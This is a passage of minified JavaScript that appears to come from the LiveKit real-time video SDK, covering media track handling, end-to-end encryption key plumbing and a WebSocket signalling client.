i.name!=="Safari"&&i.os!=="iOS"||i.os==="iOS"&&i.osVersion&&kt(e,i.osVersion)>=0?!0:i.name==="Safari"&&kt(e,i.version)>=0}function ne(){return typeof document<"u"}function Ee(){return navigator.product=="ReactNative"}function zi(i){return i.hostname.endsWith(".livekit.cloud")||i.hostname.endsWith(".livekit.run")}function Xs(){if(global&&global.LiveKitReactNativeGlobal)return global.LiveKitReactNativeGlobal}function Zs(){if(!Ee())return;let i=Xs();if(i)return i.platform}function $n(){if(ne())return window.devicePixelRatio;if(Ee()){let i=Xs();if(i)return i.devicePixelRatio}return 1}function kt(i,e){const t=i.split("."),n=e.split("."),r=Math.min(t.length,n.length);for(let s=0;s<r;++s){const o=parseInt(t[s],10),a=parseInt(n[s],10);if(o>a)return 1;if(o<a)return-1;if(s===r-1&&o===a)return 0}return i===""&&e!==""?-1:e===""?1:t.length==n.length?0:t.length<n.length?-1:1}function gd(i){for(const e of i)e.target.handleResize(e)}function vd(i){for(const e of i)e.target.handleVisibilityChanged(e)}let li=null;const Yn=()=>(li||(li=new ResizeObserver(gd)),li);let hi=null;const Xn=()=>(hi||(hi=new IntersectionObserver(vd,{root:null,rootMargin:"0px"})),hi);function bd(){var i;const e=new Za({sdk:zr.JS,protocol:Zc,version:Xc});return Ee()&&(e.os=(i=Zs())!==null&&i!==void 0?i:""),e}function Zn(){let i=arguments.length>0&&arguments[0]!==void 0?arguments[0]:16,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:16,t=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;const r=document.createElement("canvas");r.width=i,r.height=e;const s=r.getContext("2d");s==null||s.fillRect(0,0,r.width,r.height),n&&s&&(s.beginPath(),s.arc(i/2,e/2,50,0,Math.PI*2,!0),s.closePath(),s.fillStyle="grey",s.fill());const o=r.captureStream(),[a]=o.getTracks();if(!a)throw Error("Could not get empty media stream video track");return a.enabled=t,a}let st;function fi(){if(!st){const i=new AudioContext,e=i.createOscillator(),t=i.createGain();t.gain.setValueAtTime(0,0);const n=i.createMediaStreamDestination();if(e.connect(t),t.connect(n),e.start(),[st]=n.stream.getAudioTracks(),!st)throw Error("Could not get empty media stream audio track");st.enabled=!1}return st.clone()}class eo{constructor(e,t){this.onFinally=t,this.promise=new Promise((n,r)=>p(this,void 0,void 0,function*(){this.resolve=n,this.reject=r,e&&(yield e(n,r))})).finally(()=>{var n;return(n=this.onFinally)===null||n===void 0?void 0:n.call(this)})}}function yd(i,e){const t=Object.assign({cloneTrack:!1,fftSize:2048,smoothingTimeConstant:.8,minDecibels:-100,maxDecibels:-80},e),n=fn();if(!n)throw new Error("Audio Context not supported on this browser");const r=t.cloneTrack?i.mediaStreamTrack.clone():i.mediaStreamTrack,s=n.createMediaStreamSource(new MediaStream([r])),o=n.createAnalyser();o.minDecibels=t.minDecibels,o.maxDecibels=t.maxDecibels,o.fftSize=t.fftSize,o.smoothingTimeConstant=t.smoothingTimeConstant,s.connect(o);const a=new Uint8Array(o.frequencyBinCount);return{calculateVolume:()=>{o.getByteFrequencyData(a);let u=0;for(const h of a)u+=Math.pow(h/255,2);return Math.sqrt(u/a.length)},analyser:o,cleanup:()=>p(this,void 0,void 0,function*(){yield n.close(),t.cloneTrack&&r.stop()})}}class oe{constructor(){this._locking=Promise.resolve(),this._locks=0}isLocked(){return this._locks>0}lock(){this._locks+=1;let e;const t=new Promise(r=>e=()=>{this._locks-=1,r()}),n=this._locking.then(()=>e);return this._locking=this._locking.then(()=>t),n}}function kd(i){return Js.includes(i)}function Se(i){if(typeof i=="string"||typeof i=="number")return i;if(Array.isArray(i))return i[0];if(i.exact)return Array.isArray(i.exact)?i.exact[0]:i.exact;if(i.ideal)return Array.isArray(i.ideal)?i.ideal[0]:i.ideal;throw Error("could not unwrap constraint")}function Td(i){return i.startsWith("http")?i.replace(/^(http)/,"ws"):i}function er(i){return i.startsWith("ws")?i.replace(/^(ws)/,"http"):i}function Sd(i){return i.segments.map(e=>{let{id:t,text:n,language:r,startTime:s,endTime:o,final:a}=e;return{id:t,text:n,startTime:Number.parseInt(s.toString()),endTime:Number.parseInt(o.toString()),final:a,language:r}})}const pi="default";class Z{static getInstance(){return this.instance===void 0&&(this.instance=new Z),this.instance}getDevices(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return function*(){var s;if(((s=Z.userMediaPromiseMap)===null||s===void 0?void 0:s.size)>0){M.debug("awaiting getUserMedia promise");try{t?yield Z.userMediaPromiseMap.get(t):yield Promise.all(Z.userMediaPromiseMap.values())}catch{M.warn("error waiting for media permissons")}}let o=yield navigator.mediaDevices.enumerateDevices();if(r&&!(Ue()&&n.hasDeviceInUse(t))&&(o.length===0||o.some(c=>{const d=c.label==="",u=t?c.kind===t:!0;return d&&u}))){const c={video:t!=="audioinput"&&t!=="audiooutput",audio:t!=="videoinput"},d=yield navigator.mediaDevices.getUserMedia(c);o=yield navigator.mediaDevices.enumerateDevices(),d.getTracks().forEach(u=>{u.stop()})}return t&&(o=o.filter(a=>a.kind===t)),o}()})}normalizeDeviceId(e,t,n){return p(this,void 0,void 0,function*(){if(t!==pi)return t;const r=yield this.getDevices(e),s=r.find(a=>a.deviceId===pi);if(!s){M.warn("could not reliably determine default device");return}const o=r.find(a=>a.deviceId!==pi&&a.groupId===(n??s.groupId));if(!o){M.warn("could not reliably determine default device");return}return o==null?void 0:o.deviceId})}hasDeviceInUse(e){return e?Z.userMediaPromiseMap.has(e):Z.userMediaPromiseMap.size>0}}Z.mediaDeviceKinds=["audioinput","audiooutput","videoinput"];Z.userMediaPromiseMap=new Map;const Cd=1e3;class Tt extends y{get sender(){return this._sender}set sender(e){this._sender=e}get constraints(){return this._constraints}constructor(e,t,n){let r=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1,s=arguments.length>4?arguments[4]:void 0;super(e,t,s),this.manuallyStopped=!1,this._isUpstreamPaused=!1,this.handleTrackMuteEvent=()=>this.debouncedTrackMuteHandler().catch(()=>this.log.debug("track mute bounce got cancelled by an unmute event",this.logContext)),this.debouncedTrackMuteHandler=ln(()=>p(this,void 0,void 0,function*(){yield this.pauseUpstream()}),5e3),this.handleTrackUnmuteEvent=()=>p(this,void 0,void 0,function*(){this.debouncedTrackMuteHandler.cancel("unmute"),yield this.resumeUpstream()}),this.handleEnded=()=>{this.isInBackground&&(this.reacquireTrack=!0),this._mediaStreamTrack.removeEventListener("mute",this.handleTrackMuteEvent),this._mediaStreamTrack.removeEventListener("unmute",this.handleTrackUnmuteEvent),this.emit(P.Ended,this)},this.reacquireTrack=!1,this.providedByUser=r,this.muteLock=new oe,this.pauseUpstreamLock=new oe,this.processorLock=new oe,this.restartLock=new oe,this.setMediaStreamTrack(e,!0),this._constraints=e.getConstraints(),n&&(this._constraints=n)}get id(){return this._mediaStreamTrack.id}get dimensions(){if(this.kind!==y.Kind.Video)return;const{width:e,height:t}=this._mediaStreamTrack.getSettings();if(e&&t)return{width:e,height:t}}get isUpstreamPaused(){return this._isUpstreamPaused}get isUserProvided(){return this.providedByUser}get mediaStreamTrack(){var e,t;return(t=(e=this.processor)===null||e===void 0?void 0:e.processedTrack)!==null&&t!==void 0?t:this._mediaStreamTrack}setMediaStreamTrack(e,t){return p(this,void 0,void 0,function*(){if(e===this._mediaStreamTrack&&!t)return;this._mediaStreamTrack&&(this.attachedElements.forEach(r=>{Je(this._mediaStreamTrack,r)}),this.debouncedTrackMuteHandler.cancel("new-track"),this._mediaStreamTrack.removeEventListener("ended",this.handleEnded),this._mediaStreamTrack.removeEventListener("mute",this.handleTrackMuteEvent),this._mediaStreamTrack.removeEventListener("unmute",this.handleTrackUnmuteEvent)),this.mediaStream=new MediaStream([e]),e&&(e.addEventListener("ended",this.handleEnded),e.addEventListener("mute",this.handleTrackMuteEvent),e.addEventListener("unmute",this.handleTrackUnmuteEvent),this._constraints=e.getConstraints());let n;if(this.processor&&e){const r=yield this.processorLock.lock();try{if(this.log.debug("restarting processor",this.logContext),this.kind==="unknown")throw TypeError("cannot set processor on track of unknown kind");this.processorElement&&(Ge(e,this.processorElement),this.processorElement.muted=!0),yield this.processor.restart({track:e,kind:this.kind,element:this.processorElement}),n=this.processor.processedTrack}finally{r()}}this.sender&&(yield this.sender.replaceTrack(n??e)),!this.providedByUser&&this._mediaStreamTrack!==e&&this._mediaStreamTrack.stop(),this._mediaStreamTrack=e,e&&(this._mediaStreamTrack.enabled=!this.isMuted,yield this.resumeUpstream(),this.attachedElements.forEach(r=>{Ge(n??e,r)}))})}waitForDimensions(){return p(this,arguments,void 0,function(){var e=this;let t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:Cd;return function*(){var n;if(e.kind===y.Kind.Audio)throw new Error("cannot get dimensions for audio tracks");((n=Pe())===null||n===void 0?void 0:n.os)==="iOS"&&(yield Te(10));const r=Date.now();for(;Date.now()-r<t;){const s=e.dimensions;if(s)return s;yield Te(50)}throw new ge("unable to get track dimensions after timeout")}()})}getDeviceId(){return p(this,void 0,void 0,function*(){if(this.source===y.Source.ScreenShare)return;const{deviceId:e,groupId:t}=this._mediaStreamTrack.getSettings(),n=this.kind===y.Kind.Audio?"audioinput":"videoinput";return Z.getInstance().normalizeDeviceId(n,e,t)})}mute(){return p(this,void 0,void 0,function*(){return this.setTrackMuted(!0),this})}unmute(){return p(this,void 0,void 0,function*(){return this.setTrackMuted(!1),this})}replaceTrack(e,t){return p(this,void 0,void 0,function*(){if(!this.sender)throw new ge("unable to replace an unpublished track");let n,r;return typeof t=="boolean"?n=t:t!==void 0&&(n=t.userProvidedTrack,r=t.stopProcessor),this.providedByUser=n??!0,this.log.debug("replace MediaStreamTrack",this.logContext),yield this.setMediaStreamTrack(e),r&&this.processor&&(yield this.stopProcessor()),this})}restart(e){return p(this,void 0,void 0,function*(){this.manuallyStopped=!1;const t=yield this.restartLock.lock();try{e||(e=this._constraints),this.log.debug("restarting track with constraints",Object.assign(Object.assign({},this.logContext),{constraints:e}));const n={audio:!1,video:!1};this.kind===y.Kind.Video?n.video=e:n.audio=e,this.attachedElements.forEach(o=>{Je(this.mediaStreamTrack,o)}),this._mediaStreamTrack.removeEventListener("ended",this.handleEnded),this._mediaStreamTrack.stop();const s=(yield navigator.mediaDevices.getUserMedia(n)).getTracks()[0];return s.addEventListener("ended",this.handleEnded),this.log.debug("re-acquired MediaStreamTrack",this.logContext),yield this.setMediaStreamTrack(s),this._constraints=e,this.emit(P.Restarted,this),this.manuallyStopped&&(this.log.warn("track was stopped during a restart, stopping restarted track",this.logContext),this.stop()),this}finally{t()}})}setTrackMuted(e){this.log.debug("setting ".concat(this.kind," track ").concat(e?"muted":"unmuted"),this.logContext),!(this.isMuted===e&&this._mediaStreamTrack.enabled!==e)&&(this.isMuted=e,this._mediaStreamTrack.enabled=!e,this.emit(e?P.Muted:P.Unmuted,this))}get needsReAcquisition(){return this._mediaStreamTrack.readyState!=="live"||this._mediaStreamTrack.muted||!this._mediaStreamTrack.enabled||this.reacquireTrack}handleAppVisibilityChanged(){const e=Object.create(null,{handleAppVisibilityChanged:{get:()=>super.handleAppVisibilityChanged}});return p(this,void 0,void 0,function*(){yield e.handleAppVisibilityChanged.call(this),Ys()&&(this.log.debug("visibility changed, is in Background: ".concat(this.isInBackground),this.logContext),!this.isInBackground&&this.needsReAcquisition&&!this.isUserProvided&&!this.isMuted&&(this.log.debug("track needs to be reacquired, restarting ".concat(this.source),this.logContext),yield this.restart(),this.reacquireTrack=!1))})}stop(){var e;this.manuallyStopped=!0,super.stop(),this._mediaStreamTrack.removeEventListener("ended",this.handleEnded),this._mediaStreamTrack.removeEventListener("mute",this.handleTrackMuteEvent),this._mediaStreamTrack.removeEventListener("unmute",this.handleTrackUnmuteEvent),(e=this.processor)===null||e===void 0||e.destroy(),this.processor=void 0}pauseUpstream(){return p(this,void 0,void 0,function*(){const e=yield this.pauseUpstreamLock.lock();try{if(this._isUpstreamPaused===!0)return;if(!this.sender){this.log.warn("unable to pause upstream for an unpublished track",this.logContext);return}this._isUpstreamPaused=!0,this.emit(P.UpstreamPaused,this);const t=Pe();if((t==null?void 0:t.name)==="Safari"&&kt(t.version,"12.0")<0)throw new un("pauseUpstream is not supported on Safari < 12.");yield this.sender.replaceTrack(null)}finally{e()}})}resumeUpstream(){return p(this,void 0,void 0,function*(){const e=yield this.pauseUpstreamLock.lock();try{if(this._isUpstreamPaused===!1)return;if(!this.sender){this.log.warn("unable to resume upstream for an unpublished track",this.logContext);return}this._isUpstreamPaused=!1,this.emit(P.UpstreamResumed,this),yield this.sender.replaceTrack(this.mediaStreamTrack)}finally{e()}})}getRTCStatsReport(){return p(this,void 0,void 0,function*(){var e;return!((e=this.sender)===null||e===void 0)&&e.getStats?yield this.sender.getStats():void 0})}setProcessor(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return function*(){var s;const o=yield n.processorLock.lock();try{n.log.debug("setting up processor",n.logContext);const a=document.createElement(n.kind),c={kind:n.kind,track:n._mediaStreamTrack,element:a,audioContext:n.audioContext};if(yield t.init(c),n.log.debug("processor initialized",n.logContext),n.processor&&(yield n.stopProcessor()),n.kind==="unknown")throw TypeError("cannot set processor on track of unknown kind");if(Ge(n._mediaStreamTrack,a),a.muted=!0,a.play().catch(d=>n.log.error("failed to play processor element",Object.assign(Object.assign({},n.logContext),{error:d}))),n.processor=t,n.processorElement=a,n.processor.processedTrack){for(const d of n.attachedElements)d!==n.processorElement&&r&&(Je(n._mediaStreamTrack,d),Ge(n.processor.processedTrack,d));yield(s=n.sender)===null||s===void 0?void 0:s.replaceTrack(n.processor.processedTrack)}n.emit(P.TrackProcessorUpdate,n.processor)}finally{o()}}()})}getProcessor(){return this.processor}stopProcessor(){return p(this,arguments,void 0,function(){var e=this;let t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;return function*(){var n,r;e.processor&&(e.log.debug("stopping processor",e.logContext),(n=e.processor.processedTrack)===null||n===void 0||n.stop(),yield e.processor.destroy(),e.processor=void 0,t||((r=e.processorElement)===null||r===void 0||r.remove(),e.processorElement=void 0),yield e._mediaStreamTrack.applyConstraints(e._constraints),yield e.setMediaStreamTrack(e._mediaStreamTrack,!0),e.emit(P.TrackProcessorUpdate))}()})}}class Pd extends ve.EventEmitter{constructor(e){super(),this.onWorkerMessage=t=>{var n,r;const{kind:s,data:o}=t.data;switch(s){case"error":M.error(o.error.message),this.emit(Oe.EncryptionError,o.error);break;case"initAck":o.enabled&&this.keyProvider.getKeys().forEach(a=>{this.postKey(a)});break;case"enable":if(this.encryptionEnabled!==o.enabled&&o.participantIdentity===((n=this.room)===null||n===void 0?void 0:n.localParticipant.identity))this.emit(Oe.ParticipantEncryptionStatusChanged,o.enabled,this.room.localParticipant),this.encryptionEnabled=o.enabled;else if(o.participantIdentity){const a=(r=this.room)===null||r===void 0?void 0:r.getParticipantByIdentity(o.participantIdentity);if(!a)throw TypeError("couldn't set encryption status, participant not found".concat(o.participantIdentity));this.emit(Oe.ParticipantEncryptionStatusChanged,o.enabled,a)}this.encryptionEnabled&&this.keyProvider.getKeys().forEach(a=>{this.postKey(a)});break;case"ratchetKey":this.keyProvider.emit(xe.KeyRatcheted,o.material,o.keyIndex);break}},this.onWorkerError=t=>{M.error("e2ee worker encountered an error:",{error:t.error}),this.emit(Oe.EncryptionError,t.error)},this.keyProvider=e.keyProvider,this.worker=e.worker,this.encryptionEnabled=!1}setup(e){if(!Kc())throw new un("tried to setup end-to-end encryption on an unsupported browser");if(M.info("setting up e2ee"),e!==this.room){this.room=e,this.setupEventListeners(e,this.keyProvider);const t={kind:"init",data:{keyProviderOptions:this.keyProvider.getOptions(),loglevel:Cc.getLevel()}};this.worker&&(M.info("initializing worker",{worker:this.worker}),this.worker.onmessage=this.onWorkerMessage,this.worker.onerror=this.onWorkerError,this.worker.postMessage(t))}}setParticipantCryptorEnabled(e,t){M.debug("set e2ee to ".concat(e," for participant ").concat(t)),this.postEnable(e,t)}setSifTrailer(e){!e||e.length===0?M.warn("ignoring server sent trailer as it's empty"):this.postSifTrailer(e)}setupEngine(e){e.on(E.RTPVideoMapUpdate,t=>{this.postRTPMap(t)})}setupEventListeners(e,t){e.on(k.TrackPublished,(n,r)=>this.setParticipantCryptorEnabled(n.trackInfo.encryption!==re.NONE,r.identity)),e.on(k.ConnectionStateChanged,n=>{n===N.Connected&&e.remoteParticipants.forEach(r=>{r.trackPublications.forEach(s=>{this.setParticipantCryptorEnabled(s.trackInfo.encryption!==re.NONE,r.identity)})})}).on(k.TrackUnsubscribed,(n,r,s)=>{var o;const a={kind:"removeTransform",data:{participantIdentity:s.identity,trackId:n.mediaStreamID}};(o=this.worker)===null||o===void 0||o.postMessage(a)}).on(k.TrackSubscribed,(n,r,s)=>{this.setupE2EEReceiver(n,s.identity,r.trackInfo)}).on(k.SignalConnected,()=>{if(!this.room)throw new TypeError("expected room to be present on signal connect");this.setParticipantCryptorEnabled(this.room.localParticipant.isE2EEEnabled,this.room.localParticipant.identity),t.getKeys().forEach(n=>{this.postKey(n)})}),e.localParticipant.on(C.LocalTrackPublished,n=>p(this,void 0,void 0,function*(){this.setupE2EESender(n.track,n.track.sender)})),t.on(xe.SetKey,n=>this.postKey(n)).on(xe.RatchetRequest,(n,r)=>this.postRatchetRequest(n,r))}postRatchetRequest(e,t){if(!this.worker)throw Error("could not ratchet key, worker is missing");const n={kind:"ratchetRequest",data:{participantIdentity:e,keyIndex:t}};this.worker.postMessage(n)}postKey(e){let{key:t,participantIdentity:n,keyIndex:r}=e;var s;if(!this.worker)throw Error("could not set key, worker is missing");const o={kind:"setKey",data:{participantIdentity:n,isPublisher:n===((s=this.room)===null||s===void 0?void 0:s.localParticipant.identity),key:t,keyIndex:r}};this.worker.postMessage(o)}postEnable(e,t){if(this.worker){const n={kind:"enable",data:{enabled:e,participantIdentity:t}};this.worker.postMessage(n)}else throw new ReferenceError("failed to enable e2ee, worker is not ready")}postRTPMap(e){var t;if(!this.worker)throw TypeError("could not post rtp map, worker is missing");if(!(!((t=this.room)===null||t===void 0)&&t.localParticipant.identity))throw TypeError("could not post rtp map, local participant identity is missing");const n={kind:"setRTPMap",data:{map:e,participantIdentity:this.room.localParticipant.identity}};this.worker.postMessage(n)}postSifTrailer(e){if(!this.worker)throw Error("could not post SIF trailer, worker is missing");const t={kind:"setSifTrailer",data:{trailer:e}};this.worker.postMessage(t)}setupE2EEReceiver(e,t,n){if(e.receiver){if(!(n!=null&&n.mimeType)||n.mimeType==="")throw new TypeError("MimeType missing from trackInfo, cannot set up E2EE cryptor");this.handleReceiver(e.receiver,e.mediaStreamID,t,e.kind==="video"?$s(n.mimeType):void 0)}}setupE2EESender(e,t){if(!(e instanceof Tt)||!t){t||M.warn("early return because sender is not ready");return}this.handleSender(t,e.mediaStreamID,void 0)}handleReceiver(e,t,n,r){return p(this,void 0,void 0,function*(){if(this.worker){if(Fi()){const s={kind:"decode",participantIdentity:n,trackId:t,codec:r};e.transform=new RTCRtpScriptTransform(this.worker,s)}else{if(_t in e&&r){const c={kind:"updateCodec",data:{trackId:t,codec:r,participantIdentity:n}};this.worker.postMessage(c);return}let s=e.writableStream,o=e.readableStream;if(!s||!o){const c=e.createEncodedStreams();e.writableStream=c.writable,s=c.writable,e.readableStream=c.readable,o=c.readable}const a={kind:"decode",data:{readableStream:o,writableStream:s,trackId:t,codec:r,participantIdentity:n}};this.worker.postMessage(a,[o,s])}e[_t]=!0}})}handleSender(e,t,n){var r;if(!(_t in e||!this.worker)){if(!(!((r=this.room)===null||r===void 0)&&r.localParticipant.identity)||this.room.localParticipant.identity==="")throw TypeError("local identity needs to be known in order to set up encrypted sender");if(Fi()){M.info("initialize script transform");const s={kind:"encode",participantIdentity:this.room.localParticipant.identity,trackId:t,codec:n};e.transform=new RTCRtpScriptTransform(this.worker,s)}else{M.info("initialize encoded streams");const s=e.createEncodedStreams(),o={kind:"encode",data:{readableStream:s.readable,writableStream:s.writable,codec:n,trackId:t,participantIdentity:this.room.localParticipant.identity}};this.worker.postMessage(o,[s.readable,s.writable])}e[_t]=!0}}}var pt;(function(i){i[i.WAITING=0]="WAITING",i[i.RUNNING=1]="RUNNING",i[i.COMPLETED=2]="COMPLETED"})(pt||(pt={}));class Ed{constructor(){this.pendingTasks=new Map,this.taskMutex=new oe,this.nextTaskIndex=0}run(e){return p(this,void 0,void 0,function*(){const t={id:this.nextTaskIndex++,enqueuedAt:Date.now(),status:pt.WAITING};this.pendingTasks.set(t.id,t);const n=yield this.taskMutex.lock();try{return t.executedAt=Date.now(),t.status=pt.RUNNING,yield e()}finally{t.status=pt.COMPLETED,this.pendingTasks.delete(t.id),n()}})}flush(){return p(this,void 0,void 0,function*(){return this.run(()=>p(this,void 0,void 0,function*(){}))})}snapshot(){return Array.from(this.pendingTasks.values())}}const wd=["syncState","trickle","offer","answer","simulate","leave"];function Rd(i){const e=wd.indexOf(i.case)>=0;return M.trace("request allowed to bypass queue:",{canPass:e,req:i}),e}var B;(function(i){i[i.CONNECTING=0]="CONNECTING",i[i.CONNECTED=1]="CONNECTED",i[i.RECONNECTING=2]="RECONNECTING",i[i.DISCONNECTING=3]="DISCONNECTING",i[i.DISCONNECTED=4]="DISCONNECTED"})(B||(B={}));class pn{get currentState(){return this.state}get isDisconnected(){return this.state===B.DISCONNECTING||this.state===B.DISCONNECTED}get isEstablishingConnection(){return this.state===B.CONNECTING||this.state===B.RECONNECTING}constructor(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};var n;this.rtt=0,this.state=B.DISCONNECTED,this.log=M,this.resetCallbacks=()=>{this.onAnswer=void 0,this.onLeave=void 0,this.onLocalTrackPublished=void 0,this.onLocalTrackUnpublished=void 0,this.onNegotiateRequested=void 0,this.onOffer=void 0,this.onRemoteMuteChanged=void 0,this.onSubscribedQualityUpdate=void 0,this.onTokenRefresh=void 0,this.onTrickle=void 0,this.onClose=void 0},this.log=Ce((n=t.loggerName)!==null&&n!==void 0?n:he.Signal),this.loggerContextCb=t.loggerContextCb,this.useJSON=e,this.requestQueue=new Ed,this.queuedRequests=[],this.closingLock=new oe,this.connectionLock=new oe,this.state=B.DISCONNECTED}get logContext(){var e,t;return(t=(e=this.loggerContextCb)===null||e===void 0?void 0:e.call(this))!==null&&t!==void 0?t:{}}join(e,t,n,r){return p(this,void 0,void 0,function*(){return this.state=B.CONNECTING,this.options=n,yield this.connect(e,t,n,r)})}reconnect(e,t,n,r){return p(this,void 0,void 0,function*(){if(!this.options){this.log.warn("attempted to reconnect without signal options being set, ignoring",this.logContext);return}return this.state=B.RECONNECTING,this.clearPingInterval(),yield this.connect(e,t,Object.assign(Object.assign({},this.options),{reconnect:!0,sid:n,reconnectReason:r}))})}connect(e,t,n,r){this.connectOptions=n,e=Td(e),e=e.replace(/\/$/,""),e+="/rtc";const s=bd(),o=_d(t,s,n);return new Promise((a,c)=>p(this,void 0,void 0,function*(){const d=yield this.connectionLock.lock();try{const u=()=>p(this,void 0,void 0,function*(){this.close(),clearTimeout(l),c(new j("room connection has been cancelled (signal)"))}),l=setTimeout(()=>{this.close(),c(new j("room connection has timed out (signal)"))},n.websocketTimeout);r!=null&&r.aborted&&u(),r==null||r.addEventListener("abort",u),this.log.debug("connecting to ".concat(e+o),this.logContext),this.ws&&(yield this.close(!1)),this.ws=new WebSocket(e+o),this.ws.binaryType="arraybuffer",this.ws.onopen=()=>{clearTimeout(l)},this.ws.onerror=h=>p(this,void 0,void 0,function*(){if(this.state!==B.CONNECTED){this.state=B.DISCONNECTED,clearTimeout(l);try{const f=yield fetch("http".concat(e.substring(2),"/validate").concat(o));if(f.status.toFixed(0).startsWith("4")){const v=yield f.text();c(new j(v,0,f.status))}else c(new j("Internal error",2,f.status))}catch{c(new j("server was not reachable",1))}return}this.handleWSError(h)}),this.ws.onmessage=h=>p(this,void 0,void 0,function*(){var f,v,g;let b;if(typeof h.data=="string"){const m=JSON.parse(h.data);b=Un.fromJson(m,{ignoreUnknownFields:!0})}else if(h.data instanceof ArrayBuffer)b=Un.fromBinary(new Uint8Array(h.data));else{this.log.error("could not decode websocket message: ".concat(typeof h.data),this.logContext);return}if(this.state!==B.CONNECTED){let m=!1;if(((f=b.message)===null||f===void 0?void 0:f.case)==="join"?(this.state=B.CONNECTED,r==null||r.removeEventListener("abort",u),this.pingTimeoutDuration=b.message.value.pingTimeout,this.pingIntervalDuration=b.message.value.pingInterval,this.pingTimeoutDuration&&this.pingTimeoutDuration>0&&(this.log.debug("ping config",Object.assign(Object.assign({},this.logContext),{timeout:this.pingTimeoutDuration,interval:this.pingIntervalDuration})),this.startPingInterval()),a(b.message.value)):this.state===B.RECONNECTING&&b.message.case!=="leave"?(this.state=B.CONNECTED,r==null||r.removeEventListener("abort",u),this.startPingInterval(),((v=b.message)===null||v===void 0?void 0:v.case)==="reconnect"?a(b.message.value):(this.log.debug("declaring signal reconnected without reconnect response received",this.logContext),a(void 0),m=!0)):this.isEstablishingConnection&&b.message.case==="leave"?c(new j("Received leave request while trying to (re)connect",4)):n.reconnect||c(new j("did not receive join response, got ".concat((g=b.message)===null||g===void 0?void 0:g.case," instead"))),!m)return}this.signalLatency&&(yield Te(this.signalLatency)),this.handleSignalResponse(b)}),this.ws.onclose=h=>{this.isEstablishingConnection&&c(new j("Websocket got closed during a (re)connection attempt")),this.log.warn("websocket closed",Object.assign(Object.assign({},this.logContext),{reason:h.reason,code:h.code,wasClean:h.wasClean,state:this.state})),this.handleOnClose(h.reason)}}finally{d()}}))}close(){return p(this,arguments,void 0,function(){var e=this;let t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;return function*(){const n=yield e.closingLock.lock();try{if(t&&(e.state=B.DISCONNECTING),e.ws){e.ws.onmessage=null,e.ws.onopen=null,e.ws.onclose=null;const r=new Promise(s=>{e.ws?e.ws.onclose=()=>{s()}:s()});e.ws.readyState<e.ws.CLOSING&&(e.ws.close(),yield Promise.race([r,Te(250)])),e.ws=void 0}}finally{t&&(e.state=B.DISCONNECTED),e.clearPingInterval(),n()}}()})}sendOffer(e){this.log.debug("sending offer",Object.assign(Object.assign({},this.logContext),{offerSdp:e.sdp})),this.sendRequest({case:"offer",value:zt(e)})}sendAnswer(e){return this.log.debug("sending answer",Object.assign(Object.assign({},this.logContext),{answerSdp:e.sdp})),this.sendRequest({case:"answer",value:zt(e)})}sendIceCandidate(e,t){return this.log.trace("sending ice candidate",Object.assign(Object.assign({},this.logContext),{candidate:e})),this.sendRequest({case:"trickle",value:new rn({candidateInit:JSON.stringify(e),target:t})})}sendMuteTrack(e,t){return this.sendRequest({case:"mute",value:new sn({sid:e,muted:t})})}sendAddTrack(e){return this.sendRequest({case:"addTrack",value:e})}sendUpdateLocalMetadata(e,t){return this.sendRequest({case:"updateMetadata",value:new Xr({metadata:e,name:t})})}sendUpdateTrackSettings(e){this.sendRequest({case:"trackSetting",value:e})}sendUpdateSubscription(e){return this.sendRequest({case:"subscription",value:e})}sendSyncState(e){return this.sendRequest({case:"syncState",value:e})}sendUpdateVideoLayers(e,t){return this.sendRequest({case:"updateLayers",value:new Yr({trackSid:e,layers:t})})}sendUpdateSubscriptionPermissions(e,t){return this.sendRequest({case:"subscriptionPermission",value:new ts({allParticipants:e,trackPermissions:t})})}sendSimulateScenario(e){return this.sendRequest({case:"simulate",value:e})}sendPing(){return Promise.all([this.sendRequest({case:"ping",value:J.parse(Date.now())}),this.sendRequest({case:"pingReq",value:new rs({timestamp:J.parse(Date.now()),rtt:J.parse(this.rtt)})})])}sendUpdateLocalAudioTrack(e,t){return this.sendRequest({case:"updateAudioTrack",value:new $r({trackSid:e,features:t})})}sendLeave(){return this.sendRequest({case:"leave",value:new Zt({reason:ht.CLIENT_INITIATED,action:We.DISCONNECT})})}sendRequest(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;return function*(){if(!r&&!Rd(t)&&n.state===B.RECONNECTING){n.queuedRequests.push(()=>p(n,void 0,void 0,function*(){yield this.sendRequest(t,!0)}));return}if(r||(yield n.requestQueue.flush()),n.signalLatency&&(yield Te(n.signalLatency)),!n.ws||n.ws.readyState!==n.ws.OPEN){n.log.error("cannot send signal request before connected, type: ".concat(t==null?void 0:t.case),n.logContext);return}const o=new ic({message:t});try{n.useJSON?n.ws.send(o.toJsonString()):n.ws.send(o.toBinary())}catch(a){n.log.error("error sending signal message",Object.assign(Object.assign({},n.logContext),{error:a}))}}()})}handleSignalResponse(e){var t,n;const r=e.message;if(r==null){this.log.debug("received unsupported message",this.logContext);return}let s=!1;if(r.case==="answer"){const o=tr(r.value);this.onAnswer&&this.onAnswer(o)}else if(r.case==="offer"){const o=tr(r.value);this.onOffer&&this.onOffer(o)}else if(r.case==="trickle"){const o=JSON.parse(r.value.candidateInit);this.onTrickle&&this.onTrickle(o,r.value.target)}else r.case==="update"?this.onParticipantUpdate&&this.onParticipantUpdate((t=r.value.participants)!==null&&t!==void 0?t:[]):r.case==="trackPublished"?this.onLocalTrackPublished&&this.onLocalTrackPublished(r.value):r.case==="speakersChanged"?this.onSpeakersChanged&&this.onSpeakersChanged((n=r.value.speakers)!==null&&n!==void 